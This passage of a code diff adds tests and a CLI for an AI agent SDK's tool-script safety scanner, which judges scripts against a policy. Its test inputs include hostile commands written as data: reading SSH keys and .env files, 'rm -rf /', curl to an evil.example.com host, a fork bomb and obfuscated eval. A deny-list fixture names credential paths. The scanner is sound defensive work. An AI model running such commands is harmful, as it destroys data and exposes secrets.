"r", encoding="utf-8") as handle: + manifest = yaml.safe_load(handle) + except Exception as exc: + print(f"manifest error: {exc}", file=sys.stderr) + return 4 + if not isinstance(manifest, dict) or "samples" not in manifest: + print("manifest must be a mapping with a 'samples' list", + file=sys.stderr) + return 4 + base = Path(args.manifest).resolve().parent + reports = [] + exit_code = 0 + for sample in manifest["samples"]: + try: + request, expected = _build_sample_request(sample, base, args) + except Exception as exc: + print(f"sample {sample.get('name', '')!r} error: {exc}", + file=sys.stderr) + exit_code = max(exit_code, 4) + continue + report = guard.scan(request) + reports.append({ + "name": sample.get("name"), + "expected_decision": expected, + "actual_decision": report.decision.value, + "rule_ids": list(report.rule_ids), + "report_id": report.report_id, + "risk_level": report.risk_level.label(), + "duration_ms": report.scan_duration_ms, + "matches_expected": _decision_matches(report, expected), + "report": report.model_dump(mode="json"), + }) + blocked = report.decision != SafetyDecision.ALLOW + asyncio.run(_emit_audit( + audit_sink, + report, + request, + blocked=blocked, + required=guard.policy.audit.required, + )) + exit_code = max(exit_code, _exit_for_decision(report.decision)) + if args.manifest_output: + with open(args.manifest_output, "w", encoding="utf-8") as handle: + json.dump(reports, handle, indent=2, ensure_ascii=False) + if args.output: + with open(args.output, "w", encoding="utf-8") as handle: + json.dump(reports, handle, indent=2, ensure_ascii=False) + print(json.dumps({"summary": _summarize_manifest(reports)}, indent=2)) + return exit_code + + +def _emit(guard: ToolSafetyGuard, + audit_sink: Any, + args: argparse.Namespace, + request: SafetyScanRequest) -> int: + report = guard.scan(request) + asyncio.run(_emit_audit( + audit_sink, + report, + request, + blocked=report.decision != SafetyDecision.ALLOW, + required=guard.policy.audit.required, + )) + payload = report.model_dump_json(indent=2) + if args.output: + with open(args.output, "w", encoding="utf-8") as handle: + handle.write(payload) + print(payload) + return _exit_for_decision(report.decision) + + +async def _emit_audit(audit_sink: Any, report: SafetyReport, + request: SafetyScanRequest, *, blocked: bool, + required: bool) -> None: + import datetime as _dt + event = build_audit_event( + report=report, + tool_name=request.tool_name, + tool_kind=request.tool_kind, + execution_blocked=blocked, + timestamp=_dt.datetime.now(_dt.timezone.utc).isoformat(), + ) + try: + await audit_sink.emit(event) + except Exception as exc: + print(f"audit emit warning: {exc}", file=sys.stderr) + if required: + if isinstance(exc, SafetyAuditError): + raise + raise SafetyAuditError("unexpected audit emit failure") from exc + + +def _build_request(args: argparse.Namespace) -> SafetyScanRequest: + language = ScriptLanguage(args.language) if args.language \ + else _infer_language(args.script_file, args.script) + script = "" + if args.script_file: + with open(args.script_file, "r", encoding="utf-8") as handle: + script = handle.read() + elif args.script: + script = args.script + env: dict[str, str] = {} + for entry in args.env or []: + if "=" not in entry: + raise ValueError(f"env entries must be KEY=VALUE; got {entry!r}") + key, value = entry.split("=", 1) + env[key] = value + return SafetyScanRequest( + tool_name=args.tool_name, + tool_kind=ToolKind(args.tool_kind), + language=language, + script=script, + argv=tuple(args.argv or ()), + cwd=args.cwd, + env=env, + requested_timeout_seconds=args.timeout, + ) + + +def _build_sample_request( + sample: Mapping[str, Any], + base: Path, + args: argparse.Namespace, +) -> tuple[SafetyScanRequest, str]: + name = sample.get("name") or sample.get("file") or "" + language = ScriptLanguage(sample.get("language", "unknown")) + file_value = sample.get("file") + script = sample.get("script", "") + if file_value: + full = (base / file_value).resolve() + with open(full, "r", encoding="utf-8") as handle: + script = handle.read() + env: dict[str, str] = {} + for entry in sample.get("env") or []: + if "=" in entry: + key, value = entry.split("=", 1) + env[key] = value + request = SafetyScanRequest( + tool_name=args.tool_name or sample.get("tool_name", "manifest"), + tool_kind=ToolKind(sample.get("tool_kind", "unknown")), + language=language, + script=script, + argv=tuple(sample.get("argv", [])), + cwd=sample.get("cwd"), + env=env, + requested_timeout_seconds=sample.get("timeout"), + ) + expected = sample.get("expected_decision", "allow") + return request, expected + + +def _resolve_audit_sink(args: argparse.Namespace, + policy: Any) -> Any: + path = args.audit_file or (policy.audit.path if policy.audit.enabled + else None) + if path: + return JsonlAuditSink(path) + return InMemoryAuditSink() + + +def _infer_language(script_file: str | None, + inline: str | None) -> ScriptLanguage: + if script_file: + lower = script_file.lower() + if lower.endswith((".py", ".python")): + return ScriptLanguage.PYTHON + if lower.endswith((".sh", ".bash", ".zsh")): + return ScriptLanguage.BASH + if inline is not None: + stripped = inline.lstrip() + if stripped.startswith(("#!/", "import ", "from ", "def ", "class ")): + return ScriptLanguage.PYTHON + return ScriptLanguage.UNKNOWN + + +def _decision_matches(report: SafetyReport, expected: str) -> bool: + expected_norm = expected.lower().strip() + if expected_norm == "allow": + return report.decision == SafetyDecision.ALLOW + if expected_norm == "deny": + return report.decision == SafetyDecision.DENY + if expected_norm in ("review", "needs_human_review", "needs-review"): + return report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + return False + + +def _exit_for_decision(decision: SafetyDecision) -> int: + if decision == SafetyDecision.ALLOW: + return 0 + if decision == SafetyDecision.DENY: + return 2 + return 3 + + +def _summarize_manifest(reports: list[Mapping[str, Any]]) -> dict[str, Any]: + total = len(reports) + matches = sum(1 for r in reports if r.get("matches_expected")) + by_decision: dict[str, int] = {} + for r in reports: + decision = r.get("actual_decision", "unknown") + by_decision[decision] = by_decision.get(decision, 0) + 1 + return { + "total": total, + "matches_expected": matches, + "by_decision": by_decision, + } + + +if __name__ == "__main__": # pragma: no cover + sys.exit(main()) diff --git a/tests/tool_safety/__init__.py b/tests/tool_safety/__init__.py new file mode 100644 index 00000000..0a981ecc --- /dev/null +++ b/tests/tool_safety/__init__.py @@ -0,0 +1 @@ +"""Tests for the standalone Tool Script Safety Guard.""" diff --git a/tests/tool_safety/conftest.py b/tests/tool_safety/conftest.py new file mode 100644 index 00000000..bc3aabe2 --- /dev/null +++ b/tests/tool_safety/conftest.py @@ -0,0 +1,52 @@ +"""Shared fixtures for safety guard tests.""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._policy import load_safety_policy + + +REPO_ROOT = Path(__file__).resolve().parents[2] +EXAMPLE_POLICY = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "tool_safety_policy.yaml" +) + + +@pytest.fixture +def example_policy_path() -> str: + return str(EXAMPLE_POLICY) + + +@pytest.fixture +def example_policy(): + return load_safety_policy(EXAMPLE_POLICY) + + +@pytest.fixture +def guard(example_policy): + return ToolSafetyGuard(example_policy) + + +@pytest.fixture +def strict_policy_dict(): + return { + "network": {"allow_domains": ["api.github.com", "*.internal.example.com"]}, + "commands": {"allow": ["python", "python3", "pytest", "git"], + "deny": ["sudo", "su", "doas"]}, + "paths": {"deny": ["~/.ssh", "/etc", "/root", ".env", + "**/*credentials*"]}, + "limits": { + "max_timeout_seconds": 30, + "max_output_bytes": 1024, + "max_script_bytes": 65536, + "max_sleep_seconds": 5, + "max_parallel_tasks": 4, + "max_processes": 4, + "max_file_write_bytes": 4096, + }, + } diff --git a/tests/tool_safety/test_audit.py b/tests/tool_safety/test_audit.py new file mode 100644 index 00000000..1d2d0ac8 --- /dev/null +++ b/tests/tool_safety/test_audit.py @@ -0,0 +1,76 @@ +"""Tests for the audit sinks.""" + +from __future__ import annotations + +import asyncio +import json +import os +from pathlib import Path + +import pytest + +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink, JsonlAuditSink +from trpc_agent_sdk.tools.safety._models import ( + RiskLevel, + SafetyAuditEvent, + SafetyDecision, + ToolKind, +) + + +def _event(decision: SafetyDecision = SafetyDecision.ALLOW) -> SafetyAuditEvent: + return SafetyAuditEvent( + event_id="e1", + timestamp="2026-01-01T00:00:00Z", + report_id="r1", + tool_name="t", + tool_kind=ToolKind.TOOL, + decision=decision, + risk_level=RiskLevel.INFO, + rule_ids=("SAFE000",), + duration_ms=1.0, + redacted=False, + execution_blocked=decision != SafetyDecision.ALLOW, + policy_hash="p", + policy_version="1", + script_sha256="s", + ) + + +def test_in_memory_sink_collects_events(): + sink = InMemoryAuditSink() + asyncio.run(sink.emit(_event())) + asyncio.run(sink.emit(_event(SafetyDecision.DENY))) + assert len(sink.events) == 2 + assert sink.events[0].decision == SafetyDecision.ALLOW + assert sink.events[1].decision == SafetyDecision.DENY + + +def test_jsonl_sink_appends(tmp_path: Path): + path = tmp_path / "audit.jsonl" + sink = JsonlAuditSink(path) + asyncio.run(sink.emit(_event())) + asyncio.run(sink.emit(_event(SafetyDecision.DENY))) + text = path.read_text(encoding="utf-8") + lines = [ln for ln in text.splitlines() if ln.strip()] + assert len(lines) == 2 + obj = json.loads(lines[0]) + assert obj["decision"] == "allow" + assert obj["risk_level"] == "info" + # Raw script/argv/env/cwd/args fields must not appear in audit events. + for forbidden in ("script", "argv", "env", "cwd", "args"): + assert forbidden not in obj, \ + f"forbidden key {forbidden!r} in audit event" + assert "script_sha256" in obj + + +def test_jsonl_sink_redacts_no_raw_script(tmp_path: Path): + path = tmp_path / "audit.jsonl" + sink = JsonlAuditSink(path) + asyncio.run(sink.emit(_event())) + payload = path.read_text(encoding="utf-8") + for forbidden in ("script", "argv", "env", "cwd", "args"): + for line in payload.splitlines(): + obj = json.loads(line) + assert forbidden not in obj or forbidden == "script_sha256", \ + f"forbidden key {forbidden!r} in audit event" diff --git a/tests/tool_safety/test_bash_scanner.py b/tests/tool_safety/test_bash_scanner.py new file mode 100644 index 00000000..7eb0db55 --- /dev/null +++ b/tests/tool_safety/test_bash_scanner.py @@ -0,0 +1,154 @@ +"""Tests for the Bash lexer-lite scanner.""" + +from __future__ import annotations + +import pytest + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def guard(strict_policy_dict): + return ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + + +def scan(guard, script): + return guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.BASH, script=script, + )) + + +def test_safe_bash_allows(guard): + report = scan(guard, "echo hello\npwd\nls -la\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_recursive_delete_denies(guard): + report = scan(guard, "rm -rf /tmp/x\n") + assert "FILE001_RECURSIVE_DELETE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_credential_read_denies(guard): + report = scan(guard, "cat ~/.ssh/id_rsa\n") + assert "FILE003_CREDENTIAL_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_dotenv_read_denies(guard): + report = scan(guard, "cat .env\n") + assert "FILE004_DOTENV_READ" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_non_allowlist_network_denies(guard): + report = scan(guard, "curl https://evil.example.com/x\n") + assert "NET001_DOMAIN_NOT_ALLOWED" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_allowlist_network_allows(guard): + report = scan(guard, "curl https://api.github.com/x\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_pip_install_denies(guard): + report = scan(guard, "pip install numpy\n") + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_python_module_pip_install_denies(guard): + report = scan(guard, "python -m pip install numpy\n") + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_apt_install_denies(guard): + report = scan(guard, "apt-get install -y curl\n") + assert "DEP001_ENV_MUTATION" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_pipeline_review(guard): + report = scan(guard, "ls | grep foo\n") + assert "PROC003_SHELL_OPERATOR" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_privilege_escalation_denies(guard): + report = scan(guard, "sudo ls\n") + assert "PROC004_PRIVILEGE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_fork_bomb_denies(guard): + report = scan(guard, ":(){ :|:& };\n") + assert "RES002_FORK_BOMB" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_long_sleep_denies(guard): + report = scan(guard, "sleep 120\n") + assert "RES003_LONG_SLEEP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_unbounded_loop_denies(guard): + report = scan(guard, "while true; do echo x; done\n") + assert "RES001_UNBOUNDED_LOOP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_dynamic_eval_review(guard): + report = scan(guard, "eval \"$(base64 -d <<<'xxx')\"\n") + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + + +@pytest.mark.parametrize("script", [ + "source ./payload.sh\n", + "xargs -a commands.txt sh\n", + r"find . -exec sh {} \;\n", +]) +def test_indirect_execution_requires_review(guard, script): + report = scan(guard, script) + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +@pytest.mark.parametrize("script", [ + "python payload.py\n", + "node payload.js\n", + "bash -x payload.sh\n", + "python -m untrusted_module\n", +]) +def test_interpreter_payload_requires_review(guard, script): + report = scan(guard, script) + assert "OBF001_DYNAMIC_EXEC" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_shebang_and_comment_ignored(guard): + report = scan(guard, "#!/usr/bin/env bash\n# comment\necho hi\n") + assert report.decision == SafetyDecision.ALLOW + + +def test_secret_env_to_echo_denies(guard): + report = scan(guard, "echo \"token=$API_TOKEN\"\n") + assert "SECRET001_LOG_SINK" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_unbalanced_quote_yields_parse_review(guard): + report = scan(guard, "echo 'hello\n") + assert "PARSE001_UNCERTAIN" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + + +def test_quoted_separator_not_split(guard): + # ``'; rm -rf /'`` is inside single quotes; lexer must not split. + report = scan(guard, "echo '; rm -rf /'\n") + # echo is safe, no shell_operator finding should fire on quoted text + assert "PROC003_SHELL_OPERATOR" not in report.rule_ids diff --git a/tests/tool_safety/test_cli.py b/tests/tool_safety/test_cli.py new file mode 100644 index 00000000..807a78b7 --- /dev/null +++ b/tests/tool_safety/test_cli.py @@ -0,0 +1,116 @@ +"""Tests for the safety CLI.""" + +from __future__ import annotations + +import json +import subprocess +import sys +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] +CLI = REPO_ROOT / "scripts" / "tool_safety_check.py" +POLICY = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "tool_safety_policy.yaml" +) + + +def _run_cli(*args: str) -> tuple[int, str, str]: + cmd = [sys.executable, str(CLI), "--policy", str(POLICY), *args] + proc = subprocess.run(cmd, capture_output=True, text=True, + cwd=str(REPO_ROOT)) + return proc.returncode, proc.stdout, proc.stderr + + +def test_single_allow_exit_0(): + rc, out, err = _run_cli( + "--language", "python", + "--script", "print('hello')", + "--tool-name", "test", + ) + assert rc == 0 + payload = json.loads(out) + assert payload["decision"] == "allow" + + +def test_single_deny_exit_2(): + rc, out, err = _run_cli( + "--language", "python", + "--script", "import shutil\nshutil.rmtree('/tmp/x')", + "--tool-name", "test", + ) + assert rc == 2 + payload = json.loads(out) + assert payload["decision"] == "deny" + + +def test_review_exit_3(): + rc, out, err = _run_cli( + "--language", "bash", + "--script", "ls | grep foo", + ) + assert rc == 3 + + +def test_invalid_policy_exit_4(tmp_path): + missing_policy = tmp_path / "missing.yaml" + cmd = [sys.executable, str(CLI), "--policy", str(missing_policy), + "--script", "print(1)"] + proc = subprocess.run(cmd, capture_output=True, text=True, + cwd=str(REPO_ROOT)) + assert proc.returncode == 4 + assert "policy error:" in proc.stderr + assert str(missing_policy) in proc.stderr + assert proc.stdout == "" + + +def test_required_audit_failure_exits_4(tmp_path): + rc, out, err = _run_cli( + "--language", "python", + "--script", "print('hello')", + "--audit-file", str(tmp_path), + ) + assert rc == 4 + assert "audit error:" in err + + +def test_manifest_writes_output(tmp_path): + manifest = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "samples" / "manifest.yaml" + ) + output = tmp_path / "out.json" + audit = tmp_path / "audit.jsonl" + cmd = [sys.executable, str(CLI), "--policy", str(POLICY), + "--manifest", str(manifest), + "--manifest-output", str(output), + "--audit-file", str(audit)] + proc = subprocess.run(cmd, capture_output=True, text=True, + cwd=str(REPO_ROOT)) + assert output.exists() + payload = json.loads(output.read_text(encoding="utf-8")) + assert len(payload) == 14 + for item in payload: + report = item["report"] + assert { + "decision", + "risk_level", + "rule_ids", + "findings", + "recommendation", + } <= report.keys() + if report["decision"] != "allow": + assert report["findings"] + for finding in report["findings"]: + assert { + "category", + "rule_id", + "evidence", + "recommendation", + } <= finding.keys() + # Audit file has one line per sample. + lines = [ln for ln in audit.read_text(encoding="utf-8").splitlines() + if ln.strip()] + assert len(lines) == 14 diff --git a/tests/tool_safety/test_cross_field_scanner.py b/tests/tool_safety/test_cross_field_scanner.py new file mode 100644 index 00000000..dc4888de --- /dev/null +++ b/tests/tool_safety/test_cross_field_scanner.py @@ -0,0 +1,102 @@ +"""Tests for the cross-field scanner.""" + +from __future__ import annotations + +import pytest + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def guard(strict_policy_dict): + return ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + + +def test_denied_cwd_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.BASH, + script="echo hi", + cwd="/etc", + ) + report = guard.scan(request) + assert "FILE002_DENIED_WRITE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_escaping_cwd_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.BASH, + script="echo hi", + cwd="../../etc", + ) + report = guard.scan(request) + assert report.decision == SafetyDecision.DENY + + +def test_timeout_over_limit_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="print('hi')", + requested_timeout_seconds=120, + ) + report = guard.scan(request) + assert "RES003_LONG_SLEEP" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_denied_executable_in_argv_blocks(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.BASH, + script="echo hi", + argv=("sudo", "ls"), + ) + report = guard.scan(request) + assert any("PROC001_PROCESS_EXEC" == r for r in report.rule_ids) + assert report.decision == SafetyDecision.DENY + + +def test_unused_sensitive_env_does_not_trigger_review(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="print('hi')", + env={"API_TOKEN": "abc"}, + ) + report = guard.scan(request) + assert "SECRET001_LOG_SINK" not in report.rule_ids + assert report.decision == SafetyDecision.ALLOW + + +def test_output_budget_enforced(guard): + request = SafetyScanRequest( + tool_name="t", + language=ScriptLanguage.PYTHON, + script="print('hi')", + requested_output_bytes=4096, + ) + report = guard.scan(request) + assert "RES005_LARGE_WRITE" in report.rule_ids + assert report.decision == SafetyDecision.DENY + + +def test_execution_capable_without_mapping_reviews(strict_policy_dict): + """A tool flagged execution_capable but absent from policy.tools and + the builtin adapter set must produce a review finding.""" + + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + request = SafetyScanRequest( + tool_name="weird_tool", + language=ScriptLanguage.UNKNOWN, + script="", + metadata={"execution_capable": True, + "adapter_id": "weird_tool"}, # not in policy.tools + ) + report = guard.scan(request) + assert "PARSE001_UNCERTAIN" in report.rule_ids + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW diff --git a/tests/tool_safety/test_filter.py b/tests/tool_safety/test_filter.py new file mode 100644 index 00000000..12366cbb --- /dev/null +++ b/tests/tool_safety/test_filter.py @@ -0,0 +1,103 @@ +"""Tests for the ToolScriptSafetyFilter.""" + +from __future__ import annotations + +import asyncio +from types import SimpleNamespace + +import pytest + +from trpc_agent_sdk.tools.safety._audit import InMemoryAuditSink +from trpc_agent_sdk.tools.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, ToolKind +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + +@pytest.fixture +def flt(strict_policy_dict): + policy = load_safety_policy_dict(strict_policy_dict) + guard = ToolSafetyGuard(policy) + sink = InMemoryAuditSink() + return ToolScriptSafetyFilter(guard, audit_sink=sink) + + +def test_check_returns_decision_and_report(flt): + decision, report = flt.check( + "workspace_exec", {"command": "echo hi"}, + tool_kind=ToolKind.TOOL, + ) + assert decision == SafetyDecision.ALLOW + assert report.rule_ids == ("SAFE000",) + assert len(flt.audit_sink.events) == 1 # type: ignore[attr-defined] + + +def test_check_blocks_dangerous(flt): + decision, report = flt.check( + "workspace_exec", {"command": "rm -rf /tmp/x"}, + ) + assert decision == SafetyDecision.DENY + + +def test_enforce_raises_on_block(flt): + with pytest.raises(BlockedExecutionError): + flt.enforce("workspace_exec", {"command": "rm -rf /tmp/x"}) + + +def test_enforce_returns_report_on_allow(flt): + report = flt.enforce("workspace_exec", {"command": "echo hi"}) + assert report.decision == SafetyDecision.ALLOW + + +def test_terminal_marker_is_true(flt): + assert flt.terminal_before_handler is True + + +def test_audit_event_one_per_call(flt): + for _ in range(3): + flt.check("workspace_exec", {"command": "echo hi"}) + assert len(flt.audit_sink.events) == 3 # type: ignore[attr-defined] + + +def test_check_async_persists_audit_before_returning(flt): + async def run(): + decision, _ = await flt.check_async( + "workspace_exec", {"command": "echo hi"}) + assert decision == SafetyDecision.ALLOW + assert len(flt.audit_sink.events) == 1 # type: ignore[attr-defined] + + asyncio.run(run()) + + +def test_filter_audits_request_build_failure(flt): + rsp = {} + + async def run(): + await flt._before( + SimpleNamespace(tool_name="workspace_exec"), {}, rsp) + + asyncio.run(run()) + + assert rsp["is_continue"] is False + assert len(flt.audit_sink.events) == 1 # type: ignore[attr-defined] + assert flt.audit_sink.events[0].decision == SafetyDecision.DENY # type: ignore[attr-defined] + + +def test_filter_redacts_env_in_trace(flt): + flt.check("workspace_exec", { + "command": "echo hi", + "env": {"SECRET": "value"}, + }) + # No direct way to inspect ContextVar from outside; verify the call + # did not raise and audit did not leak env value. + last_event = flt.audit_sink.events[-1] # type: ignore[attr-defined] + payload = last_event.model_dump_json() + assert "value" not in payload + + +def test_skill_run_adapter(flt): + decision, _ = flt.check( + "skill_run", {"command": "echo hi"}, + tool_kind=ToolKind.SKILL, + ) + assert decision == SafetyDecision.ALLOW diff --git a/tests/tool_safety/test_guard.py b/tests/tool_safety/test_guard.py new file mode 100644 index 00000000..81660ca7 --- /dev/null +++ b/tests/tool_safety/test_guard.py @@ -0,0 +1,80 @@ +"""Tests for the guard aggregation and decision engine.""" + +from __future__ import annotations + +import pytest + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + +def test_allow_path_uses_safe000(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="print('hello')", + )) + assert report.decision == SafetyDecision.ALLOW + assert report.rule_ids == ("SAFE000",) + assert report.risk_level.label() == "info" + + +def test_report_has_required_fields(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="import shutil\nshutil.rmtree('/tmp/x')", + )) + assert report.decision == SafetyDecision.DENY + assert report.risk_level.label() in {"critical", "high", "medium"} + assert report.rule_ids + assert report.findings + f = report.findings[0] + assert f.evidence.snippet + assert f.recommendation + assert report.policy_hash + assert report.script_sha256 + assert report.scan_duration_ms >= 0 + + +def test_deduplicate_keeps_unique(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + script = "import os, subprocess\nos.system('rm -rf /')\nsubprocess.run('rm -rf /', shell=True)\n" + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script=script, + )) + rule_ids = [f.rule_id for f in report.findings] + # Same rule can appear multiple times for distinct evidence, but the + # rule_ids tuple is sorted+unique. + assert report.rule_ids == tuple(sorted(set(rule_ids))) + + +def test_policy_hash_propagates(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + request = SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="print('a')", + ) + report = guard.scan(request) + assert report.policy_hash == guard.policy.hash + + +def test_duplicate_rule_ids_rejected(strict_policy_dict): + from trpc_agent_sdk.tools.safety._python_scanner import PythonScannerRule + from trpc_agent_sdk.tools.safety._exceptions import SafetyGuardError + + policy = load_safety_policy_dict(strict_policy_dict) + with pytest.raises(SafetyGuardError): + ToolSafetyGuard( + policy, + rules=[PythonScannerRule(), PythonScannerRule()], + ) + + +def test_empty_script_yields_allow(strict_policy_dict): + guard = ToolSafetyGuard(load_safety_policy_dict(strict_policy_dict)) + report = guard.scan(SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, script="", + )) + assert report.decision == SafetyDecision.ALLOW diff --git a/tests/tool_safety/test_integration.py b/tests/tool_safety/test_integration.py new file mode 100644 index 00000000..37525aef --- /dev/null +++ b/tests/tool_safety/test_integration.py @@ -0,0 +1,159 @@ +"""Integration tests: manifest samples must match expected decisions. + +These tests verify the public manifest in +``trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml``. Per the issue acceptance +criteria: every sample must produce a structured report, high-risk +detection must be >= 90%, safe false positives <= 10%, and the +key-credential-delete-non-allowlist categories must be 100%. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest +import yaml + +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import SafetyDecision, SafetyScanRequest, ScriptLanguage +from trpc_agent_sdk.tools.safety._policy import load_safety_policy + + +REPO_ROOT = Path(__file__).resolve().parents[2] +POLICY_PATH = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "tool_safety_policy.yaml" +) +MANIFEST_PATH = ( + REPO_ROOT / "trpc_agent_sdk" / "tools" / "safety" / "examples" + / "samples" / "manifest.yaml" +) + + +@pytest.fixture(scope="module") +def guard(): + return ToolSafetyGuard(load_safety_policy(POLICY_PATH)) + + +@pytest.fixture(scope="module") +def manifest(): + data = yaml.safe_load(MANIFEST_PATH.read_text(encoding="utf-8")) + return data["samples"] + + +@pytest.fixture(scope="module") +def scan_results(guard, manifest): + results = [] + base = MANIFEST_PATH.parent + for sample in manifest: + file_path = base / sample["file"] + script = file_path.read_text(encoding="utf-8") + request = SafetyScanRequest( + tool_name="integration", + language=ScriptLanguage(sample["language"]), + script=script, + ) + report = guard.scan(request) + results.append((sample, report)) + return results + + +def test_every_sample_produces_report(scan_results): + assert len(scan_results) == 14 + for sample, report in scan_results: + assert report.report_id + assert report.decision in ( + SafetyDecision.ALLOW, + SafetyDecision.DENY, + SafetyDecision.NEEDS_HUMAN_REVIEW, + ) + assert report.rule_ids + assert report.script_sha256 + assert report.policy_hash + + +def test_expected_decisions_match(scan_results): + mismatches = [] + for sample, report in scan_results: + expected = sample["expected_decision"] + actual = report.decision.value + if expected == "allow" and actual != "allow": + mismatches.append((sample["name"], expected, actual)) + elif expected == "deny" and actual != "deny": + mismatches.append((sample["name"], expected, actual)) + elif expected == "needs_human_review" \ + and actual != "needs_human_review": + mismatches.append((sample["name"], expected, actual)) + assert not mismatches, f"mismatches: {mismatches}" + + +def test_detection_rate_high_risk(scan_results): + high_risk = [(s, r) for s, r in scan_results + if s["expected_decision"] == "deny"] + detected = [(s, r) for s, r in high_risk + if r.decision == SafetyDecision.DENY] + rate = len(detected) / len(high_risk) if high_risk else 1.0 + assert rate >= 0.9, f"detection rate {rate:.2%} below 90%" + + +def test_safe_false_positive_rate(scan_results): + safe = [(s, r) for s, r in scan_results + if s["expected_decision"] == "allow"] + if not safe: + return + flagged = [(s, r) for s, r in safe + if r.decision != SafetyDecision.ALLOW] + rate = len(flagged) / len(safe) + assert rate <= 0.1, f"false positive rate {rate:.2%} above 10%" + + +def test_required_categories_100_pct(scan_results): + """Credential read, recursive delete, and non-allowlist network + must be detected 100% of the time.""" + + required = { + "FILE003_CREDENTIAL_READ", + "FILE001_RECURSIVE_DELETE", + "NET001_DOMAIN_NOT_ALLOWED", + "FILE004_DOTENV_READ", + } + for sample, report in scan_results: + if "expected_rule_ids" in sample: + for rule in sample["expected_rule_ids"]: + if rule in required: + assert rule in report.rule_ids, \ + f"{sample['name']}: expected {rule}, got {report.rule_ids}" + + +def test_policy_changes_decision_without_code_change(strict_policy_dict): + """Tweak a domain in the YAML; verify behavior changes without code.""" + + import copy + from trpc_agent_sdk.tools.safety._policy import load_safety_policy_dict + + base = copy.deepcopy(strict_policy_dict) + # Domain NOT allowlisted in base policy -> deny. + base_guard = ToolSafetyGuard(load_safety_policy_dict(base)) + request = SafetyScanRequest( + tool_name="t", language=ScriptLanguage.PYTHON, + script="import requests\nrequests.get('https://my.api.example.com')\n", + ) + base_report = base_guard.scan(request) + assert base_report.decision == SafetyDecision.DENY + + # Allow my.api.example.com -> allow. + modified = copy.deepcopy(base) + modified["network"] = {"allow_domains": ["my.api.example.com"]} + modified_guard = ToolSafetyGuard(load_safety_policy_dict(modified)) + modified_report = modified_guard.scan(request) + assert modified_report.decision == 